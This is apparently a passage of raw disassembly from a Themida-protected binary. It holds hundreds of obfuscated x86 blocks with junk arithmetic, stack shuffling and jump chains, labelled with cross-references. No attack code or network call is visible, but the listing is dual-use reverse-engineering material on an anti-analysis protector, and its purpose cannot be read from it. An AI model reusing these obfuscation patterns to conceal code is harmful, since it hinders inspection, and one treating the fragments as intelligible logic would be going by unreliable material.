sub esi, 216F5734h
inc esi
or esi, 74BA654Eh
shr esi, 7
push edx
jmp loc_59C08A
; ---------------------------------------------------------------------------
loc_59383A: ; CODE XREF: Themida_:005922F8j
push dword ptr [esp]
mov edx, [esp]
jmp loc_59FC4C
; ---------------------------------------------------------------------------
loc_593845: ; CODE XREF: Themida_:005A42B4j
inc esi
sub esi, 2EF8646Ch
add esi, 0F4F5224Eh
sub ebx, esi
pop esi
jmp loc_5965EF
; ---------------------------------------------------------------------------
loc_59385A: ; CODE XREF: Themida_:00592A07j
push ebp
jmp loc_59CA53
; ---------------------------------------------------------------------------
loc_593860: ; CODE XREF: Themida_:00598C46j
sub edx, 0E67FFD57h
or ecx, edx
pop edx
sub ecx, 212C4113h
add ecx, 1C4C63Bh
jmp loc_59ADA2
; ---------------------------------------------------------------------------
loc_59387A: ; CODE XREF: Themida_:0059BB45j
xchg edx, [esp]
pop esp
sub esp, 4
mov [esp], ebx
push ecx
mov ecx, 27E11551h
jmp loc_5995D8
; ---------------------------------------------------------------------------
loc_593892: ; CODE XREF: Themida_:0059406Cj
pop esi
shr ecx, 8
jmp loc_595B05
; ---------------------------------------------------------------------------
loc_59389B: ; CODE XREF: Themida_:005927F7j
pop ecx
pop dword ptr [esp]
pop esp
shr ecx, 7
push dword ptr [edi+1Ch]
jmp loc_59DF0F
; ---------------------------------------------------------------------------
loc_5938AB: ; CODE XREF: Themida_:0059BA5Bj
mov dl, ch
mov bh, dl
pop edx
jmp loc_599E1F
; ---------------------------------------------------------------------------
loc_5938B5: ; CODE XREF: Themida_:005A1EFBj
xchg ecx, [esp]
mov esp, [esp]
jmp loc_59446E
; ---------------------------------------------------------------------------
loc_5938C0: ; CODE XREF: Themida_:0059C45Aj
sub ebp, 5C555C29h
not ebp
xor ebp, 0C81122E5h
mov edx, ebp
pop ebp
add esi, 258D0634h
add esi, edx
sub esi, 258D0634h
mov edx, [esp]
add esp, 4
jmp loc_595A53
; ---------------------------------------------------------------------------
loc_5938ED: ; CODE XREF: Themida_:005A1ACCj
mov ebp, esi
pop esi
inc ebp
shl ebp, 8
jmp loc_5A04FE
; ---------------------------------------------------------------------------
loc_5938F9: ; CODE XREF: Themida_:0059E221j
push ebp
push edx
mov edx, 58FB465Ah
mov ebp, edx
pop edx
push eax
mov eax, 64D080Ch
or eax, 63B44E55h
add eax, 1B0D62CBh
sub eax, 299A5807h
xor ebp, eax
mov eax, [esp]
add esp, 4
jmp loc_5927FC
; ---------------------------------------------------------------------------
loc_593925: ; CODE XREF: Themida_:00593700j
mov [esp], edi
sub esp, 4
mov [esp], esp
jmp loc_59C060
; ---------------------------------------------------------------------------
loc_593933: ; CODE XREF: Themida_:005961EFj
sub eax, 3FABF08Dh
jmp loc_5939AF
; ---------------------------------------------------------------------------
loc_59393D: ; CODE XREF: Themida_:0059E80Fj
mov edx, 4
add esi, edx
jmp loc_5A4C66
; ---------------------------------------------------------------------------
loc_593949: ; CODE XREF: Themida_:0059AA43j
dec ecx
and ecx, 61287AFFh
sub ecx, 0FAD7F4A6h
jmp loc_593B86
; ---------------------------------------------------------------------------
loc_59395B: ; CODE XREF: Themida_:0059D501j
pop ecx
and eax, ecx
push dword ptr [esp]
pop ecx
push 1FBDh
mov [esp], ecx
jmp loc_595312
; ---------------------------------------------------------------------------
loc_59396F: ; CODE XREF: Themida_:0059F4CFj
sub eax, esi
jmp loc_595C5B
; ---------------------------------------------------------------------------
loc_593976: ; CODE XREF: Themida_:0059CD57j
mov ebx, esi
pop esi
mov edx, 236306D3h
xor edx, ebx
pop ebx
jmp loc_59B841
; ---------------------------------------------------------------------------
loc_593986: ; CODE XREF: Themida_:0059CD49j
sub ebx, 6C1F34CBh
add ebx, 2530291Bh
add ebx, eax
sub ebx, 2530291Bh
add ebx, 6C1F34CBh
jmp loc_5A24F2
; ---------------------------------------------------------------------------
loc_5939A5: ; CODE XREF: Themida_:00590C36j
inc ah
and ah, 21h
jmp loc_595040
; ---------------------------------------------------------------------------
loc_5939AF: ; CODE XREF: Themida_:00593938j
add ecx, eax
pop eax
push edi
mov edi, 4
sub ecx, edi
pop edi
xchg ecx, [esp]
jmp loc_598D5C
; ---------------------------------------------------------------------------
loc_5939C3: ; CODE XREF: Themida_:005A195Fj
mov [esp], edx
mov edx, esp
jmp loc_59FF51
; ---------------------------------------------------------------------------
loc_5939CD: ; CODE XREF: Themida_:005A0FA6j
push 4D5Bh
jmp loc_593E8D
; ---------------------------------------------------------------------------
loc_5939D7: ; CODE XREF: Themida_:0059E07Bj
add dh, 8Eh
push dword ptr [esp]
pop ecx
add esp, 4
add bl, dh
pop edx
push cx
jmp loc_59183B
; ---------------------------------------------------------------------------
loc_5939EB: ; CODE XREF: Themida_:0059C4BFj
push esp
pop ecx
push edi
jmp loc_592CF4
; ---------------------------------------------------------------------------
loc_5939F3: ; CODE XREF: Themida_:00595C79j
xor [esp+4], esi
pop esi
pop edi
xor edi, 4B996947h
mov esi, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_5A31C6
; ---------------------------------------------------------------------------
loc_593A13: ; CODE XREF: Themida_:00591787j
add ah, 78h
jmp loc_595592
; ---------------------------------------------------------------------------
loc_593A1B: ; CODE XREF: Themida_:0059C085j
movzx cx, al
push cx
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_593A27: ; CODE XREF: Themida_:0059E1A1j
push 4AB7h
mov [esp], ebp
jmp loc_592B97
; ---------------------------------------------------------------------------
loc_593A34: ; CODE XREF: Themida_:00598B20j
add esp, 4
sub al, 8Bh
push 1B2Eh
mov [esp], esi
push 2953h
mov [esp], esp
jmp loc_59DDBB
; ---------------------------------------------------------------------------
loc_593A51: ; CODE XREF: Themida_:0059AF4Bj
add esi, 0FFD5F1B7h
mov ebp, esi
pop esi
xor ebp, eax
pop eax
and eax, ebp
push dword ptr [esp]
mov ebp, [esp]
jmp loc_5A3BF4
; ---------------------------------------------------------------------------
loc_593A6A: ; CODE XREF: Themida_:00590382j
sub esp, 4
mov [esp], ecx
mov cl, 0FCh
xor cl, 77h
or cl, 89h
xor cl, 9Fh
and bl, cl
jmp loc_5A21B7
; ---------------------------------------------------------------------------
loc_593A85: ; CODE XREF: Themida_:005A3073j
push 4
jmp loc_59ADB8
; ---------------------------------------------------------------------------
loc_593A8F: ; CODE XREF: Themida_:005A45A8j
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
push dword ptr [esp]
push dword ptr [esp]
pop eax
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
push esi
push esp
push dword ptr [esp]
jmp loc_592DB4
; ---------------------------------------------------------------------------
loc_593AC1: ; CODE XREF: Themida_:0059A45Fj
xor ebp, 585D3Bh
xor edx, ebp
jmp loc_5A116C
; ---------------------------------------------------------------------------
loc_593ACE: ; CODE XREF: Themida_:00597BBAj
dec bl
add bl, 97h
add dl, bl
pop ebx
dec dl
xchg ch, dl
jmp loc_59689D
; ---------------------------------------------------------------------------
loc_593ADF: ; CODE XREF: Themida_:0059D14Ej
push esp
pop ebx
add ebx, 4
add ebx, 4
jmp loc_5959C8
; ---------------------------------------------------------------------------
loc_593AF2: ; CODE XREF: Themida_:00599423j
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_593AF7: ; CODE XREF: Themida_:0059F76Dj
add esi, 12347F45h
pop edi
add edi, esi
pop esi
jmp loc_597A3C
; ---------------------------------------------------------------------------
loc_593B06: ; CODE XREF: Themida_:00598B16j
pop edi
mov edx, ebp
push dword ptr [esp]
pop ebp
jmp loc_596FBB
; ---------------------------------------------------------------------------
loc_593B12: ; CODE XREF: Themida_:00590B2Fj
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push ecx
push ebx
mov bh, 77h
mov ch, 0E6h
sub ch, bh
mov ebx, [esp]
jmp loc_592D71
; ---------------------------------------------------------------------------
loc_593B35: ; CODE XREF: Themida_:0059F7EBj
and ecx, edx
push dword ptr [esp]
push dword ptr [esp]
pop edx
add esp, 4
sub esp, 4
mov [esp], ebp
jmp loc_594D07
; ---------------------------------------------------------------------------
loc_593B4F: ; CODE XREF: Themida_:0059BCBDj
mov ecx, 0
jmp loc_59B892
; ---------------------------------------------------------------------------
loc_593B59: ; CODE XREF: Themida_:0059ED1Cj
pop ecx
push ebx
jmp loc_595F32
; ---------------------------------------------------------------------------
loc_593B60: ; CODE XREF: Themida_:00591FDBj
push 56D1h
mov [esp], edi
mov edi, 1D1E1593h
add edi, 333003DFh
xor edi, 20703989h
add ebx, 59AA48F1h
add ebx, edi
jmp loc_5A4A18
; ---------------------------------------------------------------------------
loc_593B86: ; CODE XREF: Themida_:00593956j
add ebp, ecx
pop ecx
jmp loc_597535
; ---------------------------------------------------------------------------
loc_593B8E: ; CODE XREF: Themida_:0059BF04j
add eax, ebx
add eax, 79EA5875h
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
push esi
mov esi, esp
add esi, 4
jmp loc_592482
; ---------------------------------------------------------------------------
loc_593BAC: ; CODE XREF: Themida_:00590914j
sub ebp, 343745CEh
shr ebp, 5
xor ebp, 16E09856h
jmp loc_5963D4
; ---------------------------------------------------------------------------
loc_593BC0: ; CODE XREF: Themida_:0059F519j
mov esi, 4
add ebx, esi
pop esi
jmp loc_5A3B17
; ---------------------------------------------------------------------------
loc_593BCD: ; CODE XREF: Themida_:0059D79Dj
push 6B9Bh
mov [esp], edi
pop ebp
pop edi
not edi
jmp loc_59A59E
; ---------------------------------------------------------------------------
loc_593BDE: ; CODE XREF: Themida_:0059678Bj
push ecx
mov cl, 0ABh
push small 8BAh
mov [esp], ax
mov ah, 9Eh
xor cl, ah
pop ax
push ecx
not byte ptr [esp]
pop ecx
push 0
sub [esp], cl
mov cl, [esp]
push eax
push esp
pop eax
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
and cl, 23h
sub esp, 2
jmp loc_591B9B
; ---------------------------------------------------------------------------
loc_593C1B: ; CODE XREF: Themida_:0059FBDDj
sub ebx, eax
jmp loc_5A25F4
; ---------------------------------------------------------------------------
loc_593C22: ; CODE XREF: Themida_:00592FB6j
xor ebp, 0E121AC29h
sub eax, ebp
pop ebp
push ebp
mov ebp, 427513D2h
sub eax, ebp
jmp loc_5A4D88
; ---------------------------------------------------------------------------
loc_593C38: ; CODE XREF: Themida_:0059739Aj
sub esp, 4
mov [esp], edi
push 1BCCh
mov [esp], esp
push ebx
mov ebx, 4
add [esp+4], ebx
mov ebx, [esp]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_59B0AA
; ---------------------------------------------------------------------------
loc_593C61: ; CODE XREF: Themida_:00594A81j
add edi, 4
jmp loc_595EAC
; ---------------------------------------------------------------------------
loc_593C6C: ; CODE XREF: Themida_:0059F1F5j
add eax, 3BB31416h
add eax, 737A29A4h
sub eax, ebx
push 3486h
mov [esp], ebx
mov ebx, 737A29A4h
jmp loc_5A29D2
; ---------------------------------------------------------------------------
loc_593C8A: ; CODE XREF: Themida_:005A379Cj
sub ebp, 237E491Eh
push ebp
xor dword ptr [esp], 7B1F5117h
jmp loc_596C1E
; ---------------------------------------------------------------------------
loc_593C9D: ; CODE XREF: Themida_:0059C9EDj
mov esi, 0
sub esi, ecx
xchg esi, ecx
jmp loc_59A8E3
; ---------------------------------------------------------------------------
loc_593CAB: ; CODE XREF: Themida_:0059D9B9j
push 664Ah
jmp loc_599DEB
; ---------------------------------------------------------------------------
loc_593CB5: ; CODE XREF: Themida_:0059EC1Cj
shr esi, 3
sub esi, offset byte_610E61
mov ecx, esi
pop esi
sub edi, 48B965F1h
add edi, ecx
push edx
mov edx, 48B965F1h
add edi, edx
pop edx
jmp loc_5A2CE2
; ---------------------------------------------------------------------------
loc_593CD7: ; CODE XREF: Themida_:00595291j
pop esi
add esi, 4
push edx
mov edx, 2
add esi, edx
jmp loc_5A1BA2
; ---------------------------------------------------------------------------
loc_593CEB: ; CODE XREF: Themida_:0059EACAj
sub esp, 4
mov [esp], edx
push ecx
jmp loc_59191A
; ---------------------------------------------------------------------------
loc_593CFA: ; CODE XREF: Themida_:005943D9j
pop ebp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
mov [esp], ecx
not dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_591489
; ---------------------------------------------------------------------------
loc_593D1B: ; CODE XREF: Themida_:00592EBEj
push dword ptr [esp]
pop ebp
push ecx
push esp
jmp loc_5927E5
; ---------------------------------------------------------------------------
loc_593D26: ; CODE XREF: Themida_:005909EDj
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_59E8A0
; ---------------------------------------------------------------------------
loc_593D3A: ; CODE XREF: Themida_:005A41C8j
push edx
jmp loc_59B093
; ---------------------------------------------------------------------------
loc_593D40: ; CODE XREF: Themida_:00591179j
xor [esp+4], esi
mov esi, [esp]
add esp, 4
pop esi
xor esi, 111F49F3h
push esi
xor dword ptr [esp], 2EFE023Eh
pop eax
xor eax, 2EFE023Eh
push dword ptr [esp]
mov esi, [esp]
push ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_59915D
; ---------------------------------------------------------------------------
loc_593D7F: ; CODE XREF: Themida_:00591D2Ej
push 0B5Eh
mov [esp], ebx
mov ebx, esp
push 3BF9h
mov [esp], edx
mov edx, 26490F89h
push 70AAh
mov [esp], ecx
mov ecx, 41FA4B5Dh
push ecx
jmp loc_590334
; ---------------------------------------------------------------------------
loc_593DA9: ; CODE XREF: Themida_:0059F02Aj
mov esp, [esp]
jmp loc_5952D5
; ---------------------------------------------------------------------------
loc_593DB1: ; CODE XREF: Themida_:0059A7FDj
sub esp, 4
jmp loc_590DCF
; ---------------------------------------------------------------------------
loc_593DBC: ; CODE XREF: Themida_:0059D363j
mov esi, [esp]
jmp loc_59791F
; ---------------------------------------------------------------------------
loc_593DC4: ; CODE XREF: Themida_:00595464j
sub edx, 20B9173Ch
add edx, 0FFFFFFFFh
not edx
jmp loc_59A1A6
; ---------------------------------------------------------------------------
loc_593DD7: ; CODE XREF: Themida_:005A0887j
add dword ptr [esp], 4
pop ebp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
sub esp, 4
jmp loc_5A0CB2
; ---------------------------------------------------------------------------
loc_593DFA: ; CODE XREF: Themida_:005941F1j
add edi, ecx
sub edi, 49564922h
add edi, 4E9F711Bh
jmp loc_5970FD
; ---------------------------------------------------------------------------
loc_593E0D: ; CODE XREF: Themida_:0059E1C7j
push ebp
jmp loc_59822B
; ---------------------------------------------------------------------------
loc_593E13: ; CODE XREF: Themida_:00598C8Fj
pop ebp
add ebp, 4
sub ebp, 4
xor ebp, [esp]
jmp loc_59443A
; ---------------------------------------------------------------------------
loc_593E28: ; CODE XREF: Themida_:00593711j
sub ebx, 7A81F7Eh
add ebx, edi
push ecx
mov ecx, 26E224DBh
dec ecx
inc ecx
jmp loc_5A1D50
; ---------------------------------------------------------------------------
loc_593E3D: ; CODE XREF: Themida_:005A28C2j
mov [esp], ebx
push 1Ch
jmp loc_5987DE
; ---------------------------------------------------------------------------
loc_593E4A: ; CODE XREF: Themida_:005A551Dj
push ebx
push eax
mov eax, 4A133B8Fh
jmp loc_59FACC
; ---------------------------------------------------------------------------
loc_593E56: ; CODE XREF: Themida_:005A1A0Cj
shr edx, 4
add edx, 639CBA27h
jmp loc_5A1E3C
; ---------------------------------------------------------------------------
loc_593E64: ; CODE XREF: Themida_:005A21A7j
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
push dword ptr [esp]
jmp loc_59B4C5
; ---------------------------------------------------------------------------
loc_593E7A: ; CODE XREF: Themida_:00591166j
push esp
pop ebx
add ebx, 4
sub ebx, 4
jmp loc_5967DC
; ---------------------------------------------------------------------------
loc_593E8D: ; CODE XREF: Themida_:005939D2j
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
pop edx
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_593EAA: ; CODE XREF: Themida_:0059C2F0j
add dword ptr [esp], 4
pop ebx
push 2B82h
mov [esp], ebp
mov ebp, 4
jmp loc_590F80
; ---------------------------------------------------------------------------
loc_593EC4: ; CODE XREF: Themida_:005A3D7Ej
sub esp, 4
mov [esp], esi
jmp loc_59E98D
; ---------------------------------------------------------------------------
loc_593ED2: ; CODE XREF: Themida_:0059044Bj
pop esp
sub [esp], ax
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_593EDD: ; CODE XREF: Themida_:0059949Ej
inc ebx
xchg eax, ebx
shr eax, 2
neg eax
inc eax
add eax, 4E8215ADh
add edi, eax
pop eax
push dword ptr [esp]
pop edx
add esp, 4
xchg edi, [esp]
pop esp
mov [esp], edx
push 40h
pop edx
sub edx, 57D1293Dh
jmp loc_5940D6
; ---------------------------------------------------------------------------
loc_593F0F: ; CODE XREF: Themida_:0059C467j
push esi
mov esi, 215745Dh
jmp loc_596305
; ---------------------------------------------------------------------------
loc_593F1A: ; CODE XREF: Themida_:00599347j
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_59A2FF
; ---------------------------------------------------------------------------
loc_593F2B: ; CODE XREF: Themida_:005946E2j
add eax, ebp
add eax, 2288587Dh
push edi
mov edi, 62E247EDh
add eax, edi
push dword ptr [esp]
pop edi
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5A41BA
; ---------------------------------------------------------------------------
loc_593F53: ; CODE XREF: Themida_:00599B65j
add ebx, 10F33FB6h
add ebx, ecx
sub ebx, 10F33FB6h
jmp loc_597DE1
; ---------------------------------------------------------------------------
loc_593F66: ; CODE XREF: Themida_:005A06BCj
mov [esp], esi
push 23CFh
mov [esp], esp
add dword ptr [esp], 4
jmp loc_594E31
; ---------------------------------------------------------------------------
loc_593F7D: ; CODE XREF: Themida_:0059979Fj
add esi, 4
xchg esi, [esp]
pop esp
push edx
mov edx, esp
add edx, 4
jmp loc_59A88C
; ---------------------------------------------------------------------------
mov ax, [esp]
push 7AFFh
mov [esp], esi
push esp
pop esi
jmp loc_59134E
; ---------------------------------------------------------------------------
loc_593FA8: ; CODE XREF: Themida_:00594DE6j
mov eax, 65B1218Eh
dec eax
not eax
jmp loc_59BA2D
; ---------------------------------------------------------------------------
loc_593FB5: ; CODE XREF: Themida_:00592535j
mov ecx, esp
add ecx, 4
sub ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_5A344E
; ---------------------------------------------------------------------------
loc_593FD1: ; CODE XREF: Themida_:0059B58Ej
neg eax
shl eax, 4
push ebp
mov ebp, 0ECFB5D6Ah
xor eax, ebp
jmp loc_5A1DA1
; ---------------------------------------------------------------------------
loc_593FE3: ; CODE XREF: Themida_:005A3AE7j
pop esp
shr cl, 5
push edx
jmp loc_5920DF
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], al
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_593FFC: ; CODE XREF: Themida_:00599EE5j
add esi, edi
jmp loc_592FFD
; ---------------------------------------------------------------------------
loc_594003: ; CODE XREF: Themida_:00595F90j
add eax, edx
jmp loc_5A3999
; ---------------------------------------------------------------------------
loc_59400A: ; CODE XREF: Themida_:00596238j
or esi, edx
pop edx
push eax
mov eax, 4D3D2F14h
push ebx
mov ebx, 363E0C64h
xor eax, ebx
mov ebx, [esp]
add esp, 4
add eax, 0D80AE001h
xor esi, eax
pop eax
neg esi
xor esi, 36F72BE7h
sub esp, 4
jmp loc_59D97E
; ---------------------------------------------------------------------------
loc_59403C: ; CODE XREF: Themida_:0059DDB6j
push ecx
not byte ptr [esp]
pop ecx
push eax
mov ah, cl
mov cl, dl
jmp loc_5A1B62
; ---------------------------------------------------------------------------
loc_59404B: ; CODE XREF: Themida_:0059A2EFj
add ebp, 4
jmp loc_59B763
; ---------------------------------------------------------------------------
loc_594056: ; CODE XREF: Themida_:00592C0Fj
dec ebx
and ebx, 4CAE19FAh
or ebx, 63F25978h
add ebx, 0EE82C27Ch
sub ecx, ebx
pop ebx
jmp loc_593892
; ---------------------------------------------------------------------------
loc_594071: ; CODE XREF: Themida_:0059BCADj
sub [esp+8], ebp
add dword ptr [esp+8], 0F6F3C3Bh
mov ebp, [esp]
add esp, 4
add [esp+4], edx
push 13D5h
mov [esp], ebp
mov ebp, 24B92269h
sub dword ptr [esp+8], 0CC6D49h
add [esp+8], ebp
add dword ptr [esp+8], 0CC6D49h
jmp loc_59D833
; ---------------------------------------------------------------------------
loc_5940B0: ; CODE XREF: Themida_:00591AD1j
add esp, 4
xchg ebp, [esp]
mov esp, [esp]
mov [esp], edi
sub esp, 4
mov [esp], eax
mov eax, 3F55341h
jmp loc_59FB65
; ---------------------------------------------------------------------------
loc_5940CF: ; CODE XREF: Themida_:005A570Bj
shr ebp, 1
jmp loc_59A954
; ---------------------------------------------------------------------------
loc_5940D6: ; CODE XREF: Themida_:00593F0Aj
add edx, edi
add edx, 57D1293Dh
push 7698h
mov [esp], eax
sub esp, 4
mov [esp], eax
push ebp
jmp loc_595D65
; ---------------------------------------------------------------------------
loc_5940F2: ; CODE XREF: Themida_:005990FCj
pop edi
pop eax
push ebp
push 28B55CADh
pop ebp
shl ebp, 8
add ebp, 0A8F2BE95h
xor ecx, ebp
mov ebp, [esp]
add esp, 4
sub ecx, 52B54DCEh
add esi, ecx
mov ecx, [esp]
jmp loc_591632
; ---------------------------------------------------------------------------
loc_59411C: ; CODE XREF: Themida_:0059E2A6j
mov esp, [esp]
jmp loc_596FC3
; ---------------------------------------------------------------------------
loc_594124: ; CODE XREF: Themida_:005A281Cj
add ebp, 0D517CA3h
jmp loc_596E7F
; ---------------------------------------------------------------------------
loc_59412F: ; CODE XREF: Themida_:0059EDBAj
xor esi, 28B55FA2h
jmp loc_59B75C
; ---------------------------------------------------------------------------
loc_59413A: ; CODE XREF: Themida_:0059C10Fj
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
xor eax, [esp]
jmp loc_59990B
; ---------------------------------------------------------------------------
loc_59414E: ; CODE XREF: Themida_:00595C39j
push 39BBh
mov [esp], esi
push esp
jmp loc_59CC91
; ---------------------------------------------------------------------------
mov cx, [esp]
push ecx
push 7260h
mov [esp], esp
jmp loc_590CBB
; ---------------------------------------------------------------------------
loc_59416E: ; CODE XREF: Themida_:00598450j
xor [esp], eax
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_594176: ; CODE XREF: Themida_:005A2C49j
mov al, 3Bh
push edx
push ebx
mov bl, al
mov dl, bl
mov ebx, [esp]
add esp, 4
push ebx
mov bh, dl
jmp loc_5A3CA4
; ---------------------------------------------------------------------------
loc_59418F: ; CODE XREF: Themida_:00595E3Cj
push ebp
mov ebp, 19451A72h
inc ebp
add ebp, 7EBF7DAFh
and ebp, 2F91735Fh
jmp loc_5A1372
; ---------------------------------------------------------------------------
loc_5941A7: ; CODE XREF: Themida_:00598E45j
push 3440h
mov [esp], ebp
jmp loc_59F365
; ---------------------------------------------------------------------------
loc_5941B4: ; CODE XREF: Themida_:0059C77Aj
sub esp, 4
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
jmp loc_5A487E
; ---------------------------------------------------------------------------
loc_5941C7: ; CODE XREF: Themida_:005A43E9j
push ebx
mov ebx, 1E025912h
xor ebp, ebx
jmp loc_5A2BDE
; ---------------------------------------------------------------------------
loc_5941D4: ; CODE XREF: Themida_:00595944j
pop eax
add ecx, edx
pop edx
sub esp, 4
mov [esp], ecx
push dword ptr [esp+4]
jmp loc_5A3C29
; ---------------------------------------------------------------------------
loc_5941EA: ; CODE XREF: Themida_:00596740j
add edi, 51D502Dh
pop esi
jmp loc_593DFA
; ---------------------------------------------------------------------------
loc_5941F6: ; CODE XREF: Themida_:0059F95Cj
mov [esp], esp
add dword ptr [esp], 4
pop ebx
add ebx, 4
push 6AF4h
mov [esp], ebp
push edi
mov edi, 109F0D00h
mov ebp, 0EF60F302h
add ebp, edi
mov edi, [esp]
add esp, 4
add ebx, ebp
jmp loc_595808
; ---------------------------------------------------------------------------
loc_594229: ; CODE XREF: Themida_:005984E2j
sub eax, 3AE43F0Ch
add eax, 2D895114h
push edi
mov edi, 3B096619h
xor edi, 0D9A58D7h
add edi, 6B1564Ah
dec edi
xor edi, 280B42D1h
sub edi, 40B83271h
add edi, 3086C4C5h
jmp loc_5924CE
; ---------------------------------------------------------------------------
loc_59425D: ; CODE XREF: Themida_:005A31E3j
movzx cx, al
push cx
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_594269: ; CODE XREF: Themida_:0059937Ej
push esi
mov esi, esp
add esi, 4
jmp loc_59B688
; ---------------------------------------------------------------------------
loc_594277: ; CODE XREF: Themida_:0059A92Fj
push dword ptr [esp]
jmp loc_59CE81
; ---------------------------------------------------------------------------
loc_59427F: ; CODE XREF: Themida_:005929DAj
sub esp, 4
mov [esp], edx
push ebp
mov ebp, 7AA7155Fh
jmp loc_5A06C1
; ---------------------------------------------------------------------------
loc_594293: ; CODE XREF: Themida_:005970A9j
add eax, ecx
pop ecx
push 2354h
mov [esp], eax
push dword ptr [esp+4]
pop eax
jmp loc_59D06A
; ---------------------------------------------------------------------------
loc_5942A8: ; CODE XREF: Themida_:00598226j
mov [esp], ecx
push eax
mov eax, 4
sub esp, 4
mov [esp], eax
pop ecx
pop eax
jmp loc_599BD6
; ---------------------------------------------------------------------------
loc_5942BE: ; CODE XREF: Themida_:005A49FBj
pop eax
xor bh, 0D4h
dec bh
sub bh, 0C1h
jmp loc_595A1C
; ---------------------------------------------------------------------------
loc_5942CC: ; CODE XREF: Themida_:0059FF27j
pop ebx
add edx, 4C0303F7h
add edx, eax
sub edx, 4C0303F7h
push ebp
mov ebp, 31361E14h
jmp loc_5967C5
; ---------------------------------------------------------------------------
loc_5942E6: ; CODE XREF: Themida_:0059C015j
xor ebp, 179F3913h
push eax
mov eax, 0D425381Bh
sub ebp, eax
pop eax
push ebp
pop edx
jmp loc_5A3781
; ---------------------------------------------------------------------------
loc_5942FC: ; CODE XREF: Themida_:005A5384j
add esi, 4
push edi
push ebx
push 33AE3A3Fh
pop ebx
push ebp
mov ebp, 5D836573h
jmp loc_598676
; ---------------------------------------------------------------------------
loc_594315: ; CODE XREF: Themida_:0059FF83j
push ecx
mov ecx, 2CF737DEh
jmp loc_59EB0D
; ---------------------------------------------------------------------------
loc_594320: ; CODE XREF: Themida_:0059A4D6j
add esp, 4
shl eax, 1
inc eax
neg eax
add eax, 1
push esi
jmp loc_595010
; ---------------------------------------------------------------------------
loc_594333: ; CODE XREF: Themida_:0059066Bj
inc dl
add dl, 0D3h
add dl, 0AAh
jmp loc_59A0E7
; ---------------------------------------------------------------------------
loc_594340: ; CODE XREF: Themida_:0059B9C3j
dec ebp
shr ebp, 6
push 750h
mov [esp], ebx
mov ebx, 7DB0566h
jmp loc_5A1CC1
; ---------------------------------------------------------------------------
loc_594356: ; CODE XREF: Themida_:005A2393j
dec ecx
xor ecx, 4AAB11D9h
jmp loc_5A0CE4
; ---------------------------------------------------------------------------
loc_594362: ; CODE XREF: Themida_:00595BE2j
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_594367: ; CODE XREF: Themida_:0059607Bj
push 319Ch
mov [esp], eax
mov eax, 4
jmp loc_59F654
; ---------------------------------------------------------------------------
loc_594379: ; CODE XREF: Themida_:0059EDEDj
shr ecx, 8
or ecx, 7645441h
dec ecx
shl ecx, 2
xor ecx, 4C274F65h
xor ecx, 64AE3290h
add edx, ecx
pop ecx
add edx, 7C4D2F0Ah
jmp loc_59A576
; ---------------------------------------------------------------------------
loc_5943A0: ; CODE XREF: Themida_:005A0A93j
add ebp, 55378EEh
push eax
mov eax, 0CC906E3Eh
sub ebp, eax
pop eax
jmp loc_5964CE
; ---------------------------------------------------------------------------
loc_5943B4: ; CODE XREF: Themida_:0059E22Aj
pop esp
add ecx, 4
jmp loc_59537E
; ---------------------------------------------------------------------------
loc_5943C0: ; CODE XREF: Themida_:005A2040j
pop esp
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], eax
push 70D0h
jmp loc_59E069
; ---------------------------------------------------------------------------
loc_5943D8: ; CODE XREF: Themida_:0059B2E9j
push esp
jmp loc_593CFA
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
push ecx
mov ecx, esp
push 4725h
mov [esp], eax
mov eax, 0B4F05C5h
dec eax
jmp loc_5A213B
; ---------------------------------------------------------------------------
loc_5943F9: ; CODE XREF: Themida_:0059CDA0j
xor edi, [esp]
jmp loc_59AE06
; ---------------------------------------------------------------------------
loc_594401: ; CODE XREF: Themida_:005A5113j
sub ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_5A06A3
; ---------------------------------------------------------------------------
loc_594418: ; CODE XREF: Themida_:005A214Cj
push 2697h
mov [esp], edx
pop ebp
mov edx, [esp]
add esp, 4
add eax, ebp
jmp loc_59DF36
; ---------------------------------------------------------------------------
loc_59442E: ; CODE XREF: Themida_:005A240Cj
pop ebx
xchg esi, [esp]
pop esp
and eax, edx
jmp loc_59D8FE
; ---------------------------------------------------------------------------
loc_59443A: ; CODE XREF: Themida_:00593E23j
xor [esp], ebp
xor ebp, [esp]
pop esp
jmp loc_59CA12
; ---------------------------------------------------------------------------
loc_594446: ; CODE XREF: Themida_:00593599j
add al, dh
sub al, 0A1h
pop dx
push 18C5h
mov [esp], ebx
